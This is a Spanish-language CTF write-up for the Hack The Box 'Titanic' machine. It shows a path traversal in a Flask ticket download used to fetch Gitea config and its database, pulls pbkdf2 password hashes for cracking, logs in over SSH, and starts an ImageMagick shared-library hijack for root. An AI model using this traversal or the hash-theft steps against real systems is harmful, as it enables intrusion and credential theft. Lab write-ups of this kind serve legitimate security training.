En Titanic se descubrio Gitea donde se encontro repositorios con codigo fuente y configuracion de Docker. Se identifico una vulnerabilidad Path Traversal en la aplicacion que, junto con archivos de configuracion se logro filtrar una base de datos donde se obtuvieron credenciales para el acceso por SSH. Posteriormente se identifico un cronjob que utilizaba ImageMagick y, a traves de una vulnerabilidad conocida, se obtuvo acceso como root.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Feb 22 01:34:27 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.55Nmap scan report for 10.10.11.55
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 22 01:34:36 2025 -- 1 IP address (1 host up) scanned in 9.02 seconds
Web Site
El sitio web nos redirige al dominio titanic.htb el cual agregamos al archivo /etc/hosts.
fromflaskimportFlask,request,jsonify,send_file,render_template,redirect,url_for,Responseimportosimportjsonfromuuidimportuuid4app=Flask(__name__)TICKETS_DIR="tickets"ifnotos.path.exists(TICKETS_DIR):os.makedirs(TICKETS_DIR)@app.route('/')defindex():returnrender_template('index.html')@app.route('/book',methods=['POST'])defbook_ticket():data={"name":request.form['name'],"email":request.form['email'],"phone":request.form['phone'],"date":request.form['date'],"cabin":request.form['cabin']}ticket_id=str(uuid4())json_filename=f"{ticket_id}.json"json_filepath=os.path.join(TICKETS_DIR,json_filename)withopen(json_filepath,'w')asjson_file:json.dump(data,json_file)returnredirect(url_for('download_ticket',ticket=json_filename))@app.route('/download',methods=['GET'])defdownload_ticket():ticket=request.args.get('ticket')ifnotticket:returnjsonify({"error":"Ticket parameter is required"}),400json_filepath=os.path.join(TICKETS_DIR,ticket)ifos.path.exists(json_filepath):returnsend_file(json_filepath,as_attachment=True,download_name=ticket)else:returnjsonify({"error":"Ticket not found"}),404if__name__=='__main__':app.run(host='127.0.0.1',port=5000)
docker-config
El segundo repositorio tiene la configuracion de docker de dos contenedores.
En el archivo de gitea se muestra el directorio /home/developer/gitea/data en /data, lo que significa que todo lo que esta en /data se almacena en /home/developer/gitea/data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version:'3'services:gitea:image:gitea/giteacontainer_name:giteaports:- "127.0.0.1:3000:3000"- "127.0.0.1:2222:22"# Optional for SSH accessvolumes:- /home/developer/gitea/data:/data# Replace with your pathenvironment:- USER_UID=1000- USER_GID=1000restart:always
El archivo de MySQL muestra la conexion y credenciales.
Observamos en la ruta /download el ticket a descargar.
Al no tener filtros podemos pasar /etc/passwd para obtener este archivo.
Gitea Database
Como sabemos, gitea almacena informacion/archivos en /home/developer/gitea/data, la documentacion muestra multiples archivos que son almacenados bajo la ruta /data, por lo que podriamos acceder a alguno de ellos.
Logramos acceder primero al archivo de configuracion de gitea. En este encontramos la ruta de la base de datos sqlite: /data/gitea/gitea.db.
# /home/developer/gitea/data/gitea/conf/app.iniAPP_NAME=Gitea: Git with a cup of teaRUN_MODE=prodRUN_USER=gitWORK_PATH=/data/gitea[repository]ROOT=/data/git/repositories[repository.local]LOCAL_COPY_PATH=/data/gitea/tmp/local-repo[repository.upload]TEMP_PATH=/data/gitea/uploads[server]APP_DATA_PATH=/data/giteaDOMAIN=gitea.titanic.htbSSH_DOMAIN=gitea.titanic.htbHTTP_PORT=3000ROOT_URL=http://gitea.titanic.htb/DISABLE_SSH=falseSSH_PORT=22SSH_LISTEN_PORT=22LFS_START_SERVER=trueLFS_JWT_SECRET=OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4OFFLINE_MODE=true[database]PATH=/data/gitea/gitea.dbDB_TYPE=sqlite3HOST=localhost:3306NAME=giteaUSER=rootPASSWD=LOG_SQL=falseSCHEMA=SSL_MODE=disable[indexer]ISSUE_INDEXER_PATH=/data/gitea/indexers/issues.bleve[session]PROVIDER_CONFIG=/data/gitea/sessionsPROVIDER=file[picture]AVATAR_UPLOAD_PATH=/data/gitea/avatarsREPOSITORY_AVATAR_UPLOAD_PATH=/data/gitea/repo-avatars[attachment]PATH=/data/gitea/attachments[log]MODE=consoleLEVEL=infoROOT_PATH=/data/gitea/log[security]INSTALL_LOCK=trueSECRET_KEY=REVERSE_PROXY_LIMIT=1REVERSE_PROXY_TRUSTED_PROXIES=*INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8PASSWORD_HASH_ALGO=pbkdf2[service]DISABLE_REGISTRATION=falseREQUIRE_SIGNIN_VIEW=falseREGISTER_EMAIL_CONFIRM=falseENABLE_NOTIFY_MAIL=falseALLOW_ONLY_EXTERNAL_REGISTRATION=falseENABLE_CAPTCHA=falseDEFAULT_KEEP_EMAIL_PRIVATE=falseDEFAULT_ALLOW_CREATE_ORGANIZATION=trueDEFAULT_ENABLE_TIMETRACKING=trueNO_REPLY_ADDRESS=noreply.localhost[lfs]PATH=/data/git/lfs[mailer]ENABLED=false[openid]ENABLE_OPENID_SIGNIN=trueENABLE_OPENID_SIGNUP=true[cron.update_checker]ENABLED=false[repository.pull-request]DEFAULT_MERGE_STYLE=merge[repository.signing]DEFAULT_TRUST_MODEL=committer[oauth2]JWT_SECRET=FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
Descargamos la base de datos con wget.
1
2
3
4
❯ wget -q 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -O gitea.db
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 572, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 572❯
Dentro de la base de datos encontramo s la tabla user, donde observamos columnas que pertenecen a un hash de contrasena, si observamos el archivo de configuracion este muestra pbkdf2.
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help"for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open gitea.db
sqlite> .tables
access oauth2_grant
[...] snip [...]language_stat user
lfs_lock user_badge
[..] snip [..]oauth2_authorization_code webhook
sqlite> .schema user
CREATE TABLE `user`(`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `full_name` TEXT NULL, `email` TEXT NOT NULL, `keep_email_private` INTEGER NULL, `email_notifications_preference` TEXT DEFAULT 'enabled' NOT NULL, `passwd` TEXT NOT NULL, `passwd_hash_algo` TEXT DEFAULT 'argon2' NOT NULL, `must_change_password` INTEGER DEFAULT 0 NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NULL, `login_name` TEXT NULL, `type` INTEGER NULL, `location` TEXT NULL, `website` TEXT NULL, `rands` TEXT NULL, `salt` TEXT NULL, `language` TEXT NULL, `description` TEXT NULL, `created_unix` INTEGER NULL, `updated_unix` INTEGER NULL, `last_login_unix` INTEGER NULL, `last_repo_visibility` INTEGER NULL, `max_repo_creation` INTEGER DEFAULT -1 NOT NULL, `is_active` INTEGER NULL, `is_admin` INTEGER NULL, `is_restricted` INTEGER DEFAULT 0 NOT NULL, `allow_git_hook` INTEGER NULL, `allow_import_local` INTEGER NULL, `allow_create_organization` INTEGER DEFAULT 1 NULL, `prohibit_login` INTEGER DEFAULT 0 NOT NULL, `avatar` TEXT NOT NULL, `avatar_email` TEXT NOT NULL, `use_custom_avatar` INTEGER NULL, `num_followers` INTEGER NULL, `num_following` INTEGER DEFAULT 0 NOT NULL, `num_stars` INTEGER NULL, `num_repos` INTEGER NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL, `visibility` INTEGER DEFAULT 0 NOT NULL, `repo_admin_change_team_access` INTEGER DEFAULT 0 NOT NULL, `diff_view_style` TEXT DEFAULT '' NOT NULL, `theme` TEXT DEFAULT '' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL);CREATE UNIQUE INDEX `UQE_user_name` ON `user`(`name`);CREATE UNIQUE INDEX `UQE_user_lower_name` ON `user`(`lower_name`);CREATE INDEX `IDX_user_is_active` ON `user`(`is_active`);CREATE INDEX `IDX_user_created_unix` ON `user`(`created_unix`);CREATE INDEX `IDX_user_updated_unix` ON `user`(`updated_unix`);CREATE INDEX `IDX_user_last_login_unix` ON `user`(`last_login_unix`);sqlite>
Observamos que existen unicamente dos usuarios registrados.
1
2
3
4
sqlite> select name, passwd, passwd_hash_algo, salt from user;administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
sqlite>
Cracking the Hash
Nos referimos a Crack Gitea Hash para convertir los hashes en formato para hashcat.
┌──(kali㉿kali)-[~/htb/titanic]└─$ ssh developer@titanic.htb # 25282528developer@titanic.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Feb 22 08:09:26 AM UTC 2025 System load: 0.88
Usage of /: 80.8% of 6.79GB
Memory usage: 21%
Swap usage: 0%
Processes: 235 Users logged in: 1 IPv4 address for eth0: 10.10.11.55
IPv6 address for eth0: dead:beef::250:56ff:feb0:dfd4
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
developer@titanic:~$ whoami;id;pwddeveloper
uid=1000(developer)gid=1000(developer)groups=1000(developer)/home/developer
developer@titanic:~$ ls
gitea linpeas.sh mysql snap user.txt
developer@titanic:~$ cat user.txt
d5b574c221b47f8421e62170de8f4901
developer@titanic:~$
Privesc
Dentro del directorio /opt encontramos un script que busca imagenes .jpg y obtiene la informacion de estas y las escribe en un archivo de log.
1
2
3
4
5
6
7
developer@titanic:/opt/scripts$ l
identify_images.sh*
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg"| xargs /usr/bin/magick identify >> metadata.log
developer@titanic:/opt/scripts$
Encontramos que el script es ejecutado cada minuto al observar la fecha de modificacion del archivo metadata.log.
La vulnerabilidad se encuentra en las variables de entorno, en este caso en LD_LIBRARY_PATH, la descripcion de la vulnerabilidad indica:
… it might use current working directory as the path to search for the configuration file or shared libraries, because empty path in these environment variables means the current working directory. Which means it might load the delegates.xml or shared libraries from the current working directory.
Esto quiere decir que al ingresar a /opt/app/static/assets/images estaria buscando las librerias compartidas.
Exploitation
En el directorio de imagenes creamos la libreria libxcb.so.1 con el comando para ejecutar id y redirigir el output a /dev/shm/id.